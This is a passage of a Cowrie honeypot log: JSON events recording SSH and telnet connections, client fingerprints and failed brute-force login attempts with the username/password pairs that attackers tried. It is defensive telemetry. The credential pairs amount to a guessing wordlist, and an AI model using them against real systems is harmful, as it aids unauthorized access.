:["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:45:57.874034Z","src_ip":"109.91.4.177","session":"c06485121700","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@1","message":"login attempt [root/Server@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:45:58.334011Z","src_ip":"109.91.4.177","session":"c06485121700","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:45:59.440073Z","src_ip":"109.91.4.177","session":"c06485121700","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.184.88","src_port":47788,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b04d0ca5663","protocol":"ssh","message":"New connection: 165.22.184.88:47788 (159.203.135.109:22) [session: 8b04d0ca5663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:46:19.519737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:46:19.524798Z","src_ip":"165.22.184.88","session":"8b04d0ca5663","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:46:19.529484Z","src_ip":"165.22.184.88","session":"8b04d0ca5663","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"baghdad_iraq","password":"baghdad123","message":"login attempt [baghdad_iraq/baghdad123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:46:19.546113Z","src_ip":"165.22.184.88","session":"8b04d0ca5663","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:46:20.553129Z","src_ip":"165.22.184.88","session":"8b04d0ca5663","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.163.176.54","src_port":48816,"dst_ip":"10.17.0.5","dst_port":22,"session":"695665e7150c","protocol":"ssh","message":"New connection: 69.163.176.54:48816 (10.17.0.5:22) [session: 695665e7150c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:46:21.633970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:46:21.641178Z","src_ip":"69.163.176.54","session":"695665e7150c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:46:21.711541Z","src_ip":"69.163.176.54","session":"695665e7150c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"atomic123","message":"login attempt [root/atomic123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:46:21.925516Z","src_ip":"69.163.176.54","session":"695665e7150c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:46:22.997758Z","src_ip":"69.163.176.54","session":"695665e7150c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":52810,"dst_ip":"159.203.135.109","dst_port":23,"session":"86e0f4cf245c","protocol":"telnet","message":"New connection: 170.64.224.25:52810 (159.203.135.109:23) [session: 86e0f4cf245c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:46:43.690925Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":48680,"dst_ip":"10.17.0.5","dst_port":22,"session":"94e28d4cf7dd","protocol":"ssh","message":"New connection: 38.148.249.2:48680 (10.17.0.5:22) [session: 94e28d4cf7dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:46:49.501435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:46:49.504983Z","src_ip":"38.148.249.2","session":"94e28d4cf7dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:46:49.573861Z","src_ip":"38.148.249.2","session":"94e28d4cf7dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"welcome","message":"login attempt [erpnext/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:46:49.884869Z","src_ip":"38.148.249.2","session":"94e28d4cf7dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":53246,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab37642c3d2e","protocol":"telnet","message":"New connection: 137.184.5.188:53246 (159.203.135.109:23) [session: ab37642c3d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:46:50.024821Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:46:50.956120Z","src_ip":"38.148.249.2","session":"94e28d4cf7dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.231.24.5","src_port":43132,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ba076c3bd16","protocol":"ssh","message":"New connection: 67.231.24.5:43132 (10.17.0.5:22) [session: 9ba076c3bd16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:47:01.385490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:47:01.390271Z","src_ip":"67.231.24.5","session":"9ba076c3bd16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:47:01.407931Z","src_ip":"67.231.24.5","session":"9ba076c3bd16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"coinomi123","message":"login attempt [root/coinomi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:47:01.460987Z","src_ip":"67.231.24.5","session":"9ba076c3bd16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:47:02.481294Z","src_ip":"67.231.24.5","session":"9ba076c3bd16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":49156,"dst_ip":"159.203.135.109","dst_port":23,"session":"e92936ab1153","protocol":"telnet","message":"New connection: 107.6.151.170:49156 (159.203.135.109:23) [session: e92936ab1153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:47:15.659773Z"}
{"eventid":"cowrie.session.closed","duration":38.383400440216064,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:47:22.074237Z","src_ip":"170.64.224.25","session":"86e0f4cf245c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":49694,"dst_ip":"10.17.0.5","dst_port":22,"session":"114f82871eea","protocol":"ssh","message":"New connection: 80.94.92.55:49694 (10.17.0.5:22) [session: 114f82871eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:47:25.872939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:47:25.937048Z","src_ip":"80.94.92.55","session":"114f82871eea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:47:26.063938Z","src_ip":"80.94.92.55","session":"114f82871eea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345","message":"login attempt [admin/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:47:27.018954Z","src_ip":"80.94.92.55","session":"114f82871eea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:47:28.296692Z","src_ip":"80.94.92.55","session":"114f82871eea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":33102,"dst_ip":"159.203.135.109","dst_port":22,"session":"381142ea946c","protocol":"ssh","message":"New connection: 159.65.58.200:33102 (159.203.135.109:22) [session: 381142ea946c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:47:40.300402Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:47:40.605517Z","src_ip":"159.65.58.200","session":"381142ea946c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:47:40.607973Z","src_ip":"159.65.58.200","session":"381142ea946c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.91.4.177","src_port":62262,"dst_ip":"10.17.0.5","dst_port":22,"session":"51f43e8b56f9","protocol":"ssh","message":"New connection: 109.91.4.177:62262 (10.17.0.5:22) [session: 51f43e8b56f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:47:41.032500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:47:41.035958Z","src_ip":"109.91.4.177","session":"51f43e8b56f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:47:41.139640Z","src_ip":"109.91.4.177","session":"51f43e8b56f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty@123321","message":"login attempt [root/Qwerty@123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:47:41.589145Z","src_ip":"109.91.4.177","session":"51f43e8b56f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.629945516586304,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:47:41.654689Z","src_ip":"137.184.5.188","session":"ab37642c3d2e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"slepov","password":"123456","message":"login attempt [slepov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:47:41.736465Z","src_ip":"159.65.58.200","session":"381142ea946c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:47:42.700330Z","src_ip":"109.91.4.177","session":"51f43e8b56f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:47:43.115821Z","src_ip":"159.65.58.200","session":"381142ea946c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":56112,"dst_ip":"10.17.0.5","dst_port":22,"session":"6dfd06667c23","protocol":"ssh","message":"New connection: 109.237.96.109:56112 (10.17.0.5:22) [session: 6dfd06667c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:48:08.927693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:48:08.931828Z","src_ip":"109.237.96.109","session":"6dfd06667c23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"